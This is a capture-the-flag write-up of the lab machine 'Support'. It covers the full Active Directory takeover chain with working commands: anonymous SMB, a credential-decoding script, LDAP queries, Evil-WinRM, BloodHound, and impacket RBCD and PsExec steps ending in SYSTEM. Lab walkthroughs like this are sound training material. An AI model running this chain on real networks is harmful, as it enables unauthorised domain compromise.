An Active Directory machine covering exposed SMB files, recovered LDAP credentials, BloodHound permissions, and Kerberos delegation through RBCD.
by: Brandon Chaney
Support starts with an accessible SMB share containing a small .NET application, UserInfo.exe. Inspection of the program revealed credentials for an LDAP account, which tied to the support user and lead to obtaining a reverse shell through Evil-WinRM.
After the foothold, BloodHound showed that support belonged to a group with GenericAll over the domain controller's computer object. I hadn't worked through this kind of computer takeover before, so I used this machine to understand how machine accounts, Resource-Based Constrained Delegation (RBCD), and Kerberos service tickets could lead to domain takeover.
I started enumeration by checking the services exposed by the domain controller. SMB (445), LDAP (389), Kerberos (88), and WinRM (5985) were all available, which made Active Directory enumeration the most plausible exploitation path.
┌──[brandonc@parrot]─[~]
└─❯ nmap -Pn -sT -p 53,88,135,139,389,445,636,5985 10.129.133.80
Starting Nmap 7.95 ( https://nmap.org ) at 2026-10-15 12:21 EDT
Nmap scan report for support.htb (10.129.133.80)
Host is up (0.036s latency).
PORT STATE SERVICE
53/tcp open domain
**88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
**445/tcp open microsoft-ds
636/tcp open ldapssl
**5985/tcp open wsman
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
The support-tools SMB share allowed anonymous access. I connected passwordless and found UserInfo.exe.zip among the available files.
┌──[brandonc@parrot]─[~]
└─❯ smbclient //10.129.133.80/support-tools -N
smb: \> ls
smb: \> get UserInfo.exe.zipAfter extracting the ZIP, I took a closer look at the executable. It was a .NET application that used an LDAP account to query the domain. Interestingly, its password wasn't stored as plain text, but the program contained everything needed to recover it.
Inspecting the .NET code, I followed how the application handled its stored password. The value was Base64-encoded, then decoded with a repeating XOR key and an additional XOR operation using 0xDF (223).
┌──[brandonc@parrot]─[~]
└─❯ monodis UserInfo.exe > userinfo.il
┌──[brandonc@parrot]─[~]
└─❯ grep -niE 'password|armando|ldstr' userinfo.ilTo recreate how password was decoded, I used Python to reverse the transformation that the UserInfo.exe application itself used. The important parts of these operations were 1. Decode the base64 2. Revert XOR by applying its value twice 3. Turn the password into readable text using .decode.
import base64
encoded = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
data = base64.b64decode(encoded)
password = bytes(
byte ^ key[i % len(key)] ^ 0xDF
for i, byte in enumerate(data)
)
print(password.decode())nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
This gave the password for support\ldap. It wasn't an administrator account, but it was enough to query AD. I searched for the support user and found a password stored in the account's info attribute.
┌──[brandonc@parrot]─[~]
└─❯ ldapsearch -x -H ldap://10.129.133.80 \
-D 'support\ldap' -W \
-b 'DC=support,DC=htb' \
'(sAMAccountName=support)' cn info memberOfinfo: Ironside47pleasure40Watchful
I tried those credentials with Evil-WinRM and created a reverse shell as support.
┌──[brandonc@parrot]─[~]
└─❯ evil-winrm -i 10.129.133.80 -u support -p 'Ironside47pleasure40Watchful'*Evil-WinRM* PS C:\Users\support\Documents> At that point I had the user flag, but not administrative access.
I collected Active Directory relationships with BloodHound Python, imported the ZIP into BloodHound, and searched for the support account. The path to the domain controller was:
SUPPORT@SUPPORT.HTBis a member of Shared Support Accounts.- Shared Support Accounts has
GenericAlloverDC.SUPPORT.HTB.
Figure 1: The support user inherits GenericAll over the domain controller's computer object through group membership.
Having GenericAll over the DC$ computer account gives me control over the DC's object in AD. Because of this, I could modify that attribute on the domain controller's computer object, and likely form an attack involving delegation.
Before creating anything, I checked the domain's ms-DS-MachineAccountQuota attribute. The attribute determines how many machine accounts an ordinary domain user is allowed to create by default.
*Evil-WinRM* PS C:\Users\support\Documents> ([ADSI]"LDAP://DC=SUPPORT,DC=HTB")."ms-DS-MachineAccountQuota"10
The default AD value 10 suggested I could create a computer account of my own. This on its own doesn't grant administrator access but since I could create and use a controlled computer account and have GenericAll over DC$, the promise of compromise was much more significant.
The first impacket-addcomputer I tried attempted failed with SMB login errors. I had NetExec confirm the credentials were valid, so the password wasn't the issue. I eventually got it working by playing with fields and specifying the domain controller hostname and separating the NetBIOS domain from the DNS domain name.
# /etc/hosts
10.129.133.80 dc.support.htb support.htb
┌──[brandonc@parrot]─[~]
└─❯ impacket-addcomputer \
-method SAMR \
-domain-netbios SUPPORT \
-dc-host dc.support.htb \
-dc-ip 10.129.133.80 \
-computer-name 'ATTACKER$' \
-computer-pass 'IAMEVIL!!!' \
'support.htb/support:Ironside47pleasure40Watchful'[*] Successfully added machine account ATTACKER$ with password IAMEVIL!!!.
I then used my GenericAll rights to edit DC$'s msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This is the setting used by Resource-Based Constrained Delegation (RBCD) to determine which accounts can act on behalf of other users when using the target service.
┌──[brandonc@parrot]─[~]
└─❯ impacket-rbcd \
-delegate-from 'ATTACKER$' \
-delegate-to 'DC$' \
-action write \
-dc-ip 10.129.133.80 \
'support.htb/support:Ironside47pleasure40Watchful'[*] Delegation rights modified successfully!
[*] ATTACKER$ can now impersonate users on DC$ via S4U2Proxy
I read the setting back to confirm it had actually changed:
┌──[brandonc@parrot]─[~]
└─❯ impacket-rbcd \
-delegate-to 'DC$' \
-action read \
-dc-ip 10.129.133.80 \
'support.htb/support:Ironside47pleasure40Watchful'[*] Accounts allowed to act on behalf of other identity:
[*] ATTACKER$ (S-1-5-21-1677581083-3380853377-188903654-6101)
With RBCD configured, I could use the controlled ATTACKER$ account to request a service ticket while impersonating Administrator.
┌──[brandonc@parrot]─[~]
└─❯ impacket-getST \
-spn 'cifs/dc.support.htb' \
-impersonate Administrator \
-dc-ip 10.129.133.80 \
'support.htb/ATTACKER$:IAMEVIL!!!'[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
Figure 2: ATTACKER$ authenticates to the KDC, uses S4U delegation to impersonate Administrator, and receives a CIFS ticket for the domain controller.
I was still confusing TGTs and Service Tickets so I did some research on the differences:
- A TGT lets an authenticated identity request tickets for services.
- A service ticket is used to authenticate to a particular service. Mine was for
cifs/dc.support.htb, which is associated with SMB. - A
.ccachefile is the format storing the ticket. It isn't a separate kind of Kerberos ticket.
The ticket I obtained was not Administrator's TGT or password. It was an Administrator CIFS service ticket, produced through the delegation flow. That distinction explains why I could use it for SMB-based access rather than assuming it would work for every service.
I pointed the Kerberos-aware Impacket tools at the cache with the KRB5CCNAME environment variable:
┌──[brandonc@parrot]─[~]
└─❯ export KRB5CCNAME="$HOME/Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache"One related tool worth remembering is ticketConverter.py, which converts between Windows .kirbi and Linux .ccache ticket formats. Here I didn't need it because impacket-getST saved the ticket directly as .ccache.
The last step in the post-exploitation chain was to use the CIFS ticket with Impacket's PsExec implementation. I used -k for Kerberos authentication and -no-pass to use the cached ticket without giving a password.
┌──[brandonc@parrot]─[~]
└─❯ impacket-psexec -k -no-pass -dc-ip 10.129.133.80 \
'support.htb/Administrator@dc.support.htb'[*] Found writable share ADMIN$
[*] Creating service ...
[*] Starting service ...
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> hostname
dc
I had SYSTEM access on the domain controller. I retrieved the root flag with the Windows type command shortly after:
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt- The anonymously accessible
support-toolsshare exposed a .NET executable with recoverable LDAP credentials. - LDAP revealed the
supportuser's password in an account attribute, leading to a WinRM foothold. - BloodHound showed
supportinheritedGenericAllover the domain controller's computer object through Shared Support Accounts. ms-DS-MachineAccountQuota = 10allowed a controlled computer account to be created; it was not a privilege escalation by itself.- RBCD let
ATTACKER$obtain an Administrator CIFS service ticket, not an Administrator TGT. KRB5CCNAMEmade the.ccacheavailable to Impacket, and Kerberos-authenticated PsExec led to NT AUTHORITY\SYSTEM.
